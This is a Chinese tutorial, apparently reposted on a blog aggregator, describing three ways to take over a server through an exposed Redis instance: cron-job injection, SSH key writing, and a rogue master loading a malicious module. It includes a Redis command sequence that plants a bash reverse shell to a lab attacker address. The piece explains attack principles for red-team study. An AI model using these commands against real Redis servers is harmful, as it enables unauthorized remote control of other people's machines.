利用Redis获取权限的多种方式

news2024/9/22 23:37:06

更多实战内容,可前往无问社区查看icon-default.png?t=N7T8http://www.wwlib.cn/index.php/artread/artid/10333.html

Redis是我们在实战中经常接触到的一款数据库,因其在前期打点中被利用后可直接影响服务器安全所以在攻防过程中也备受红队关注,在本文中会重点分享一下与之有关的一些攻击技术,同时探究其中的技术原理。

注意:由于Redis的语法不同于其他数据库,所以更为详细的语法介绍建议各位前往Reids官网(https://redis.io/commands?from=QuickRedis)进行查阅。

方法1:创建计划任务反弹SHELL

957056c6a0fc03406f17ef2dcb353745.png

4d0bdb6583e51b6e5c4e5117242d21fe.png

执行命令:

config set dir /var/spool/cron 
set bmz "\n* * * * * bash -i >& /dev/tcp/192.168.0.128/7890 0>&1\n" 
config set dbfilename root 

8124c8be5581863bbe6a1466793c7c26.png

8ecf1e363c55f567d10a5eb8123c2236.png

查看系统的计划任务的时候能看到,已经新增了我们所添加的计划任务(因为文章分了两天写,网络环境有变动,所以下图的IP与端口与上文的不一致)。

7ef49149821e64adcfd65424bca992bb.png

为什么会这样?在进行这项攻击操作的时候前几项都是赋值的操作,只有最后的save命令比较可疑,在Redis的官网上是这么描述save命令的。

这些命令执行数据集的同步保存,生成 Redis 实例内所有数据的时间点快照,格式为 的 RDB 文件。SAVE

所以这里我们可以验证一下,定义多个变量然后save,查看下文件内容。

4a6f240b6253c6a1ffa98a197a2c1587.png

f2ab4d6f23cb5d139cea834df9f4bba7.png

能够看到我们的操作赋值已经全部写入了dbfilename变量指定的文件中。

清楚了这个情况之后,接下来所讲的通过写入ssh 公钥来获取主机访问权限就很容易理解了。

方法2:通过写入SSH公钥获取系统访问权限

在我们的攻击机上面生成后续需要上传到靶机的公钥

73fb800c0747c1277f355417c741f8f7.png

1b1018f618569adb80d044856a156dee.png

之后我们的攻击机即可远程登录靶机系统。

10018f89e3961b086b4e3a52bccdaafd.png

这个过程与方法一是完全一样的,所以依据这个原理我们便可以去尝试更多的利用方式了。

方法3:主从复制获取系统权限

主从复制利用了redis支持接受外部扩展以此来丰富所支持的命令的问题。通过伪造redis主服务器并在上面加载恶意外部扩展文件,向各个从服务器下发恶意外部扩展文件,这里的从服务器其实也就是我们所控制的安装了redis的服务器,当从服务器加载了外部扩展后,即可执行恶意外部扩展的代码,以下是提供的案例演示。

首先还是设置好我们的主目录以及恶意扩展的文件名,之后通过slaveof命令来连接我们伪造的主服务器。

a07427d40fe2ac97202939b66d3fa86a.png

主服务器的工作很简单,生成一个恶意外部扩展文件,并且运行监听程序即可。

8253f0169da435e41641f8558a21298a.png

加载我们的恶意外部扩展。

33fb1617a73b7a09019a32021e4dcbab.png

这个时候在redis中已经有了我们的扩展命令,可以执行我们想要执行的任何命令,当然也不必局限于执行命令,由于外部扩展代码使我们所定义的,所以也可以实现其他的功能。

93042d1edf4d72305637fa80e755fe27.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2050906.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【java】Java Cryptography Extension (JCE)

在Java中,我们可以使用Java Cryptography Extension (JCE) 来实现加密和解密工具和技术。以下是一些常见的加密和解密技术及其示例代码: 1.使用AES加密和解密 package org.example.Test05;import javax.crypto.Cipher; import javax.crypto.spec.Secre…

高效记录与笔记整理的策略:工具选择、结构设计与复习方法

✨✨ 欢迎大家来访Srlua的博文(づ ̄3 ̄)づ╭❤~✨✨ 🌟🌟 欢迎各位亲爱的读者,感谢你们抽出宝贵的时间来阅读我的文章。 我是Srlua小谢,在这里我会分享我的知识和经验。&am…

【赵渝强老师】基于RBF的HDFS联邦架构

在最新的Hadoop版本中又实现了基于Router的联盟架构,并且在这个架构之上还实现了许多增强集群管理能力的特性。Router将挂载表从客户端中抽离了出来,解决了ViewFS存在的问题。   视频讲解如下: 基于RBF的HDFS联邦架构 【赵渝强老师】基于R…

基于Mediepipe的手势识别系统 | OpenCV | Mediapipe | C++ | QT | Python | C# | Unity

基于Mediapipe的手势识别系统 OpenCV、Mediapipe C (QT)、Python (PyCharm)、C# (Visual Studio) Unity 3D 登录界面 图片手势识别 视频文件手势识别 摄像头实时手势识别 演示视频 基于Mediapipe的手势识别系统

ESP32 分区表介绍

前言 个人邮箱:zhangyixu02gmail.com关于分区表,很多人看了很多资料很可能依旧是一脸懵逼。不知道各位有没有玩过 EEPROM,他可以断电保存数据。这里你也可以理解为分区表将 Flash 中划分出来了一个 EEPROM。虽然这样说从专业的角度是毫无疑问…

Ilya Sutskever 2023年伯克利大学演讲回顾:无监督学习与GPT的数学基础

引言 在2023年,OpenAI联合创始人之一的Ilya Sutskever在伯克利大学进行了一次极具影响力的演讲。这场演讲虽然内容复杂晦涩,但却被认为是人工智能发展历史上的一个重要里程碑。在演讲中,Sutskever深入探讨了无监督学习的数学依据&#xff0c…

即插即用的3D神经元注意算法

在快速发展的人工智能领域,科技的进步往往源于对复杂问题的突破性解决方案。如今,我们正站在一种激动人心的技术创新的前沿——即插即用的3D神经元注意算法。这一前沿技术不仅为计算神经科学提供了全新的视角,也为人工智能的未来打开了新的大…

elementplus 二次封装 select 自定义指令上拉加载更多 完美解决 多次接口调用 重新加载数据多次调用!!!

ps: 我封装的 select 实现了:1、上拉加载更多。2、远程搜索。3、单选多选。4、二次回显之前选择的数据。5、option 里面显示的内容自定义 如果有您想要实现的功能 可以私聊我 本文只讲解上拉触底加载更多 效果:(名字都是测试数据 随便乱写…

【数据结构】PTA 链式表的按序号查找 C语言

本题要求实现一个函数,找到并返回链式表的第K个元素。 函数接口定义: ElementType FindKth( List L, int K ); 其中List结构定义如下: typedef struct LNode *PtrToLNode; struct LNode {ElementType Data;PtrToLNode Next; }; typedef P…

Mysql原理与调优-Mysql的内存结构

1.绪论 前面说过InnoDB每次查询数据或者更新数据,都是先以16kb的大小将数据读取到内存中,然后对内存中的数据页进行操作。为了减少磁盘IO,Innodb的会先单独的申请一块连续的空间,将从磁盘中的数据页缓存到这片内存中。这片内存就…

数字化转型下的客户服务创新:智能、便捷、人性化

当今这个日新月异的数字时代,企业的竞争已不再局限于产品或服务的本身,而是延伸到了客户体验的每一个细微之处。数字化转型作为推动这一变革的重要力量,正深刻改变着客户服务的面貌,使之变得更加智能、便捷且充满人性化。 一、数字…

Xilinx 7系列收发器GTX入门讲解

目录 一、前言 二、芯片间数据传输技术发展 2.1 时钟/数据同步方式 三、 7系列GTX/GTH 3.1 GTXE2 3.2 Quad 3.3 GTXE2_CHANNEL 3.4 参考时钟结构 3.4.1 外部参考时钟 3.5 CPLL 3.6 QPLL 四、收发器GTX/GTH 4.1 发送器TX 4.2 接收器RX 4.3 TX与RX全流程分析 五、…

CeresPCL 岭回归拟合(曲线拟合)

文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 由于在使用最小二乘插值拟合时,会涉及到矩阵求逆的操作,但是如果这个矩阵接近于奇异时,那么拟合的结果就会与我们期望的结果存在较大差距,因此就有学者提出在最小二乘的误差函数中添加正则项,即: 这里我们也可…

Catf1ag CTF Web(一)

前言 Catf1agCTF 是一个面向所有CTF(Capture The Flag)爱好者的综合训练平台,尤其适合新手学习和提升技能 。该平台由catf1ag团队打造,拥有超过200个原创题目,题目设计注重知识点的掌握,旨在帮助新手掌握C…

Pycharm远程连接服务器调试程序(包含VPN连接)

一、Ubuntu服务器使用指南 1、建立个人账户: sudo adduser yourname 2、个人账户中建立conda环境 1)将anaconda\miniconda安装包上传到服务器home\yourname目录下 2)bash安装miniconda 3)source .bashrc激活 3、MobaXterm连…

Spring Cloud Gateway 请求转发源码分析

一、背景 Spring Cloud Gateway 作为一种微服务网关组件,相信大家都不陌生,一个请求经过Spring Cloud Gateway是如何转发出去的,今天我们就来分析一下这部分的源码。 二、正文 下面这张图大家在学习Spring Cloud Gateway的时候肯定见过&am…

NASA数据集:DC-8 飞机上收集测量数据(冰原和永久冻土融化、雪反照率降低以及海盐气溶胶)

ARCTAS DC-8 Aircraft Merge Data 简介 ARCTAS_Merge_DC8_Aircraft_Data 是在 "从飞机和卫星收集对流层成分的北极研究 "亚轨道活动期间,从 DC-8 飞机上收集测量数据的各种现场仪器中预先生成的合并文件。该产品的数据收集工作已经完成。 北极是了解气…

网络编程-阻塞、非阻塞、多路复用、Selector对于accept、read、write事件监听实现详解

阻塞 理论 阻塞模式下,相关方法(accept、read、write)都会导致线程暂停。 ServerSocketChannel.accept 会在没有连接建立时让线程暂停。SocketChannel.read 会在没有数据可读时让线程暂停。阻塞的表现其实就是线程暂停了,暂停期…

Spring 解决bean的循环依赖

Spring循环依赖-博客园 1. 什么是循环依赖 2. 循环依赖能引发什么问题 循环依赖可能引发以下问题: 初始化顺序不确定:循环依赖导致无法确定哪个对象应该先被创建和初始化,从而造成初始化顺序的混乱。这可能导致错误的结果或意外的行为。死…

YouTube 创作者起诉 Nvidia 和 OpenAI

- **YouTube 创作者 David Millette**:一位 YouTube 创作者 David Millette 起诉了 AI 巨头 Nvidia,指控该公司未经许可使用他的视频来训练 AI 模型。此前不久,Millette 还起诉了 OpenAI,但并未指控这两家公司侵犯版权。 - **指控…